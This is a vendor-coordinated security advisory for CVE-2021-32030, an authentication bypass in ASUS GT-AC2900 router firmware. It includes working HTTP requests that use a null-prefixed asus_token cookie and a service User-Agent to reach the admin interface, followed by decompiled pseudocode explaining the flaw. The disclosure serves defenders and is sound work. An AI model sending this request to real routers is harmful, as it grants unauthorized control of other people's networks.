Asus - GT-AC2900 - Authentication Bypass
Vendors
- Asus
Affected Products
- ASUS GT-AC2900 Firmware version 9.0.0.4.386.41994 (Beta Version)
- ASUS GT-AC2900 Firmware version 3.0.0.4.386.41793 (Latest production)
Summary
The ASUS GT-AC2900 administrator application is susceptible to an authentication bypass vulnerability when processing remote input from an unauthenticated user, leading to unauthorized access to the administrator interface.
Remediation/Mitigation
Update to firmware version 3.0.0.4.386.42643
Credit
This issue was found by Chris Bellows and Darren Kemp of Atredis Partners
References
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-32030
- https://atredis.com/blog/2021/4/30/asus-authentication-bypass
- https://www.asus.com/Networking-IoT-Servers/WiFi-Routers/ASUS-Gaming-Routers/RT-AC2900/HelpDesk_BIOS/
Report Timeline
- 2021-03-16: Atredis Partners sent an initial notification to Asus, including this draft advisory
- 2021-03-23: Asus acknowledged the issue and provided a link to patched beta firmware; Atredis confirmed fix, notifying Asus
- 2021-03-24: Asus acknowedged Atredis' confirmation and indicated that firmware would be generally available within 1 to 2 months
- 2021-04-28: Asus made patched firmware generally available
- 2021-04-30: Atredis Partners filed a vulnerablity report with CERT/CC
- 2021-05-06: As the vulnerability was patched, Atredis Partners published this advisory
Technical Details
The ASUS GT-AC2900 device's administrative web application utilizes a session cookie (asus_token) to manage session states. It was found that the validation of this cookie fails when the following occurs:
- The submitted
asus_tokenstarts with a Null (0x0) - The request User-Agent matches an internal service UA (
asusrouter--) - The device has not been configured with an
ifttt_token(default state)
This condition results in the server incorrectly identifying the request as being authenticated. The following example shows a normal request and response for valid session:
GET /appGet.cgi?hook=get_cfg_clientlist() HTTP/1.1
Host: 192.168.1.107:8443
Content-Length: 0
User-Agent: asusrouter--
Connection: close
Referer: https://192.168.1.107:8443/
Cookie: asus_token=iCOPsFa54IUYc4alEFeOP4vjZrgspAY; clickedItem_tab=0
HTTP/1.0 200 OK
Server: httpd/2.0
Content-Type: application/json;charset=UTF-8
Connection: close
{
"get_cfg_clientlist":[{"alias":"24:4B:FE:64:37:10","model_name":"GT-AC2900","ui_model_name":"GT-AC2900","fwver":"3.0.0.4.386_41793-gdb31cdc","newfwver":"","ip":"192.168.50.1","mac":"24:4B:FE:64:37:10","online":"1","ap2g":"24:4B:FE:64:37:10","ap5g":"24:4B:FE:64:37:14","ap5g1":"","apdwb":"","wired_mac":[
...
...
}
The following shows that the same request fails in the case an invalid asus_token is provided:
GET /appGet.cgi?hook=get_cfg_clientlist() HTTP/1.1
Host: 192.168.1.107:8443
Content-Length: 0
User-Agent: asusrouter--
Connection: close
Referer: https://192.168.1.107:8443/
Cookie: asus_token=Invalid; clickedItem_tab=0
HTTP/1.0 200 OK
Server: httpd/2.0
Content-Type: application/json;charset=UTF-8
Connection: close
{
"error_status":"2"
}
If a null character is placed at the front of the asus_token, the request will be incorrectly identified as being authenticated, as seen in the following request and response:
GET /appGet.cgi?hook=get_cfg_clientlist() HTTP/1.1
Host: 192.168.1.107:8443
Content-Length: 0
User-Agent: asusrouter--
Connection: close
Referer: https://192.168.1.107:8443/
Cookie: asus_token=\0Invalid; clickedItem_tab=0
HTTP/1.0 200 OK
Server: httpd/2.0
Content-Type: application/json;charset=UTF-8
Connection: close
{
"get_cfg_clientlist":[{"alias":"24:4B:FE:64:37:10","model_name":"GT-AC2900","ui_model_name":"GT-AC2900","fwver":"3.0.0.4.386_41793-gdb31cdc","newfwver":"","ip":"192.168.50.1","mac":"24:4B:FE:64:37:10","online":"1","ap2g":"24:4B:FE:64:37:10","ap5g":"24:4B:FE:64:37:14","ap5g1":"","apdwb":"","wired_mac":[
...
...
}
Authentication and validation of requests occurs within the function handle_request, specifically through the function auth_check, which can be seen in the following code excerpt from the GPL source archive:
router/httpd/httpd.c - handle_request
static void
handle_request(void)
{
...
...
...
handler->auth(auth_userid, auth_passwd, auth_realm);
auth_result = auth_check(auth_realm, authorization, url, file, cookies, fromapp); <---- call to auth_check in web_hook.o
if (auth_result != 0)
{
if(strcasecmp(method, "post") == 0 && handler->input) //response post request
while (cl--) (void)fgetc(conn_fp);
send_login_page(fromapp, auth_result, url, file, auth_check_dt, add_try);
return;
}
...
...
The auth_check function is implemented within a compiled object (web_hook.o), which validates the received session identifier is valid. The process is broken down to the following items at a high level:
- Check that the request cookies contain an
asus_token - Check if the extracted
asus_tokenexists within the current session list - Check if the extracted
asus_tokenis a stored service token (IFTTT/Alexa)
The following decompiled pseudocode shows the underlying code responsible for carrying out this process:
router/httpd/prebuild/web_hook.o - auth_check
int __fastcall auth_check(char *dirname, char *authorization, const char *url, char *file, char *cookies, int fromapp_flag)
{
void *v7; // r0
bool v8; // cc
char *v9; // r5
int *v10; // r0
int v11; // r5
int *v12; // r4
int v13; // r0
int v14; // r0
bool v15; // cc
char *v16; // r5
int *v17; // r0
int result; // r0
char *pAsusTokenKeyStart; // r0
char *pAsusTokenValueStart; // r9
size_t space_count; // r0
unsigned int v22; // r2
int *v23; // r0
int v24; // r5
int *v25; // r4
int v26; // [sp+10h] [bp-50h]
char user_token[32]; // [sp+1Ch] [bp-44h] BYREF
v7 = memset(user_token, 0, sizeof(user_token));
v26 = cur_login_ip_type;
...
...
...
result = auth_passwd;
if ( auth_passwd )
{
// check that the request has a cookie header set and the asus_token cookie exists
// example header - Cookie: asus_token=iCOPsFa54IUYc4alEFeOP4vjZrgspAY; clickedItem_tab=0
if ( !cookies || (pAsusTokenKeyStart = strstr(cookies, "asus_token")) == 0 ) // <-----
{
// check if this is the first access for initial setup - this is skipped
if ( !is_firsttime() ) // <-----
{
add_try = 0;
return 1;
}
goto PAGE_REDIRECT;
}
// find the location of the asus_token value
pAsusTokenValueStart = pAsusTokenKeyStart + 11; // <-----
space_count = strspn(pAsusTokenKeyStart + 11, " \t"); // <-----
// set the user_token variable to the extracted value from the user request
snprintf(user_token, 0x20u, "%s", &pAsusTokenValueStart[space_count]); // <-----
// validate the user_token value, check_ifttt_token returns 1, causing the if statement to be skipped that would normally result in an authentication failure
if ( !search_token_in_list(user_token, 0) && !check_ifttt_token(user_token) ) // <-----
The check_ifttt_token function compares the user submitted value to the stored configuration value currently stored in the systems nvram configuration. The following shows the decompiled pseudocode for this function:
router/httpd/prebuild/web_hook.o - check_ifttt_token
int __fastcall check_ifttt_token(const char *asus_token)
{
char *ifft_token; // r0
char *v3; // r0
int result; // r0
ifft_token = nvram_safe_get("ifttt_token"); // <----- returns \0
The function nvram_safe_get is used to retrieve the stored ifttt_token value from the systems nvram configuration, which can be seen in the following decompiled pseudocode:
router/httpd/prebuild/web_hook.o - nvram_safe_get
char *__fastcall nvram_safe_get(char* setting_key)
{
char *result; // r0
result = nvram_get(setting_key);
if ( !result )
result = "\0";
return result;
}
In the case the nvram configuration does not contain a value for the requested setting, the function returns "\0" (Null). As the submitted asus_token has been set to a Null from the original request the string comparison will indicate that the values are equal and the check_iftt_token function will return true (1), as seen in the following pseudocode:
router/httpd/prebuild/web_hook.o - check_ifttt_token
ifft_token = nvram_safe_get("ifttt_token"); // <----- returns \0
if ( !strcmp(asus_token, ifft_token) ) // <----- returns 0 as they match, evals to true and login is successful
{
// if the IFTTT_ALEXA log file is enabled, log successful check message
if ( isFileExist("/tmp/IFTTT_ALEXA") > 0 )
Debug2File("/tmp/IFTTT_ALEXA.log", "[%s:(%d)][HTTPD] IFTTT/ALEXA long token success.\n", "check_ifttt_token", 760);
// Return 1
result = 1; // <----- set result value
}
else// <----- skipped
{
if ( isFileExist("/tmp/IFTTT_ALEXA") > 0 )
Debug2File("/tmp/IFTTT_ALEXA.log", "[%s:(%d)][HTTPD] IFTTT/ALEXA long token fail.\n", "check_ifttt_token", 766);
if ( isFileExist("/tmp/IFTTT_ALEXA") > 0 )
Debug2File(
"/tmp/IFTTT_ALEXA.log",
"[%s:(%d)][HTTPD] IFTTT/ALEXA long token is %s.\n",
"check_ifttt_token",
767,
asus_token);
if ( isFileExist("/tmp/IFTTT_ALEXA") > 0 )
{
v3 = nvram_safe_get("ifttt_token");
Debug2File("/tmp/IFTTT_ALEXA.log", "[%s:(%d)][HTTPD] httpd long token is %s.\n", "check_ifttt_token", 768, v3);
}
result = 0;
}
return result; // <----- return 1
}
Continuing back within auth_check, the check_ifttt_token return value causes the if statement to evaluate to false, skipping the code path that would result in a failed authentication attempt, resulting in the authentication process to succeed:
router/httpd/prebuild/web_hook.o - auth_check
if ( !search_token_in_list(user_token, 0) && !check_ifttt_token(user_token) ) // <-----
{
if ( !is_firsttime() )
{
if ( !strcmp(last_fail_token, user_token) )
{
add_try = 0;
}
else
{
strlcpy(last_fail_token, user_token, 32);
add_try = 1;
}
v23 = _errno_location();
v24 = *v23;
v25 = v23;
if ( f_exists("/tmp/HTTPD_DEBUG") > 0 || nvram_get_int("HTTPD_DBG") > 0 )
asusdebuglog(6, "/jffs/HTTPD_DEBUG.log", 0, 1, 0, "[%s(%d)]:AUTHFAIL\n\n", "auth_check", 1054);
result = 2;
*v25 = v24;
return result;
}
PAGE_REDIRECT:
page_default_redirect(fromapp_flag, url);
return 0;
}
...
...
return result;
}
By monitoring the system logs confirmation of successful IFTT/ALEXA login token processing can be seen when submitting a malformed asus_token:
admin@GT-AC2900-3711:/jffs# tail -f /tmp/IFTTT_ALEXA.log
[check_ifttt_token:(1014)][HTTPD] IFTTT/ALEXA long token success.